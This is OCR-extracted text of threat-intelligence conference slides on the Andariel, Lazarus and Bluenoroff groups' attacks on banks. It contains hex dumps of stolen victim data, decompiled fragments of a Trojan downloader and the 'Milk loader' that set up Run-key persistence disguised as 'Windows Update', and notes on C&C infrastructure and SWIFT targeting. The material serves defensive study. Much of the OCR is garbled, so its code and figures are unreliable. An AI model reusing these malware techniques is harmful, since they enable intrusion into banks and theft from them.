
0SI0h0S0;0: 0, 0W0A0T0]0e0a0. 0y0r0"0%0#0.0"0"0.0h0(0&0.050h050;0:0;0: OWTTP/1.1 200

oK

Date:
Server:
Content-Length: 0

wed, 14 Jun 2017 06:20:37 GMT
Apache
charset=UTF-8

Content-Type: text/html;

64 00
45 00
6E 00
30 00
0D 00
30 00
37 00
6F 00
6F 00
6F 00
32 00
3% 00
44 00
0D 00
70 00
76 00
67 00
69 00
65 00
6F 00
0D 00
78 00
6D 00
0Aa 00
3E 00
32 00
65 00

Decoded Victim Data

6D 00 69 00 6E 00 3E 00 41 00
4E 00 3E 00 3E 00 43 00 3E Q0
3E 00 36 00 3E 00 3E 00 3E 00

44
11
317

LComputer Name

43 00 32 00 39 Q0 39 00 38 00

%wﬁqu 00 6E 00
6E 0 00 6% 00
0 E_§0.g475 00_6F 00
MAG addtess «
35 00 3E 00 3E 00 3E 00 3E 00
Pte@c%essgél@? S
6 65 00
02 00 70 00 6F 00 63 00
3E 00 65 00 78 00 65 00 0D 00
65 00 72 00 79 00 74 00 68 00
3E 00 5 00 78 00 65 00 0D 00
6% 00 48 00 5 00 78 00 3E 00
0D 00 0A 00 70 00 65 00 78 00
72 00 85 00 72 00 3E 00 65 00
0A 00 9 00 64 00 61 00 71 00
65 00 0D 00 38 00 72 00
6F 00 6E 00 3E 00 65 00 78 00
3% 00 9 00 6E 00 64 00
4B 00 42 00 32 00 37 00
3% 00 78 00 36 00
0D 00 0A 00 0A 00

6B
6B
6B
3E
3E
69
18
65
0A
69
0A
65
10
18
3E
6F
65
11
3E
65

00
00
00
00
00
00

QMM EFMYEEMODOQOMNEBED oY o H 2
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Campaign targeted Egypt bank and SK banks — Trojan downloader

* Download payload from another C&C and save in %Temp%
* The downloaded payload need argument “abai” to execute (abai
means father in Korean dialect)

format_string((int)& , (const char =)L"Z%s\\%s.exe", & : J;
sub_122B2C7();

)
sub_122B1AE(v9, 1, , )

sub_12283CT(vT7);
sub_1228496(v7);

e
-+
~y 11 11

- B;
_mm_storel_epiB4{(__ml1281 =) , _mm_loadl_epi6i((const __ml1281 =)&abai));
ShellExecutell(®, L"open™, & , , B, B);
- 1;
}
else

{




Campaign targeted Egypt bank and SK banks — Milk loader

 Named Milk loader because of the pdb string found in the binary
e E:\\BIG_POOH\\Project\\milk\\Release\\milk.pdb (a.k.a Poohmilk by PaloAlto)
» Sleep for 6 mins upon execute

* Look for file “wsatra.tmp” in ths %Temp% folder. (however not existed in this case)

 If found: read the file and get a path from the file. Scanning .Ink file and ZIP in the path.
Extract file from ZIP and execute

—

@ adata: 0041+ 00000005 - EfR i

rdata:0041 === 0000002 A
‘g’ rdata:0041--- 00000004 nc e @

Imin . k] iminTein T ]

L= | § L

i o L)) e R o W e R R R
Tstrcatw(&F1leName, L"\\wsatra.tmp"); // %temp¥\wsatra.tmp
vl = CreateFilew(&F1leName, O0x&80000000, 1lu, 0, 3u, O0x8&80u, 0);
result = Istrcpyw(al, &::String2);
if ( vl == -1 )
return result;
wsatrp_fi1le = operator new(0x400u);
memset (wsatrp_file, 0, 0x400u);
EfadFi1e(ylL wsatrp_file, O0x400u, &NumberofBytesRead, 0);




Campaign targeted Egypt bank and SK banks — Milk loader

* Launch the downloader. Create registry “Windows Update” to set
persistent of the downloader. Default command is “help”

£ =Rl =H
FESHE) RE}_5Z B{EFIRTE)
EII o exE EEG 55 AT DO AT Ehenrstermn 3 2 o e e
Wmdnwsﬂpdate REG 3% " ADocuments snd Settingshddmintstrator Wind ows-KB2751 2286 exe" help

AT F

I = B L = = i g e . B e e B e
TstrcatW(&ExistingFileName, L"wWindows-KB275122-x86.exe");

vd = GetCurrentProcess(); _ _ _ _ _
1f ( OpenProcessToken(v4, 0x20008u, &hobject) &% GetUserProfileDirectoryw(hobject, &NewF1leName

Tstrcatw(&NewFileName, L"\\Windows-KB275122-x86.exe'");

CloseHandle(hobject);

wsprintfw(&ata, L"\"%s\" help", &NewFileName);

CopyF1lewW(&ExistingFileName, &NewFileName, 0);

RegOpenkKeywW(HKEY_CURRENT_USER, L'"Software\\Microsoft\\Windows\\Currentversion\\Run', &hKey);

v = Istrilenw(&Data); _
RegsetvalueExw(Chkey, L"windows Update", 0, lu, &pata, 2 * vb);

RegCloseKey (hkey);

}

return 0O;




I
RECENT CHANGE & DISCOVERY

Some Updates



Getting new C&C server with (stolen? ransomed?) bitcoin

* Our observation shows that there are lesser compromised server been
used in the recent attacks.

* In a case we investigated, we tried to inquiry the registrant information of
an Andariel group’s C&C server from the hosting server provider.

* The hosting server provider reveals that since the server was pay with
bitcoin, they don’t have any information about the identity.

* It is a far more effective way than hacking legitimate servers and also
keeping anonymity.




USING MONERO MINER

14/Sept/2017

1XMR = $97 (Bitfinex)

Balance : $6,790

HODL!!!

12/Feb/2018

1XMR = $240 (Bitfinex)

Security Analyst Summit 2018 Balance - $25’20&3




TTP & KEY FINDINGS

Some interesting facts



TTP & Key-finding

* Delivery
* Deliver payload with spear-phishing emails.

* Infrastructure
* Frequently use compromised C&C server.

* Tools

 Many shared code between proprietary malwares. (Andariel, Lazarus)
* Open source tools in arsenal (i.e.Aryan, Xtreme RAT, Ghost RAT, FBI RAT) (Andariel)

* Destroy evidence and tracks with ransomware. (i.e. Taiwan Far Eastern with Hermes
Ransomware) (Lazarus, Bluenoroff, Reaper)

* Multi-stage payload (Reaper)

* Target
* Targeting SWIFT system when attack on banks. (very familiar with SWIFT network)
e Launching SWIFT transaction during holiday/weekends.

* Persistent
* Penetrating target’s network and control for a long time before doing transaction.



Sample Timestamp Analysis of Andariel Group (GMT+9)



BLACK HAT SOUND BYTES

Conclusion



BLACK HAT SOUND BYTES (CONCLUSION)

* We'’ve seen an increasing trend of nation-state actors using their cyber
espionage capabilities for financial gain.

* Lazarus, Bluenoroff and Andariel groups targeted not only banks, but also
bitcoin users/exchanges and ATM machines.

* In many cases, the attackers shows strong knowledge to the
compromised system, network environment and their targets. They
tailored their tools and develop 0 days for the targets. (They study hard
about youl!!)

* It is difficult to track these threat groups only with C&C infrastructure.
Therefore, be familiar with their tools and tactic is one of the key to
defend against them. (You should study hard about them too!!!)






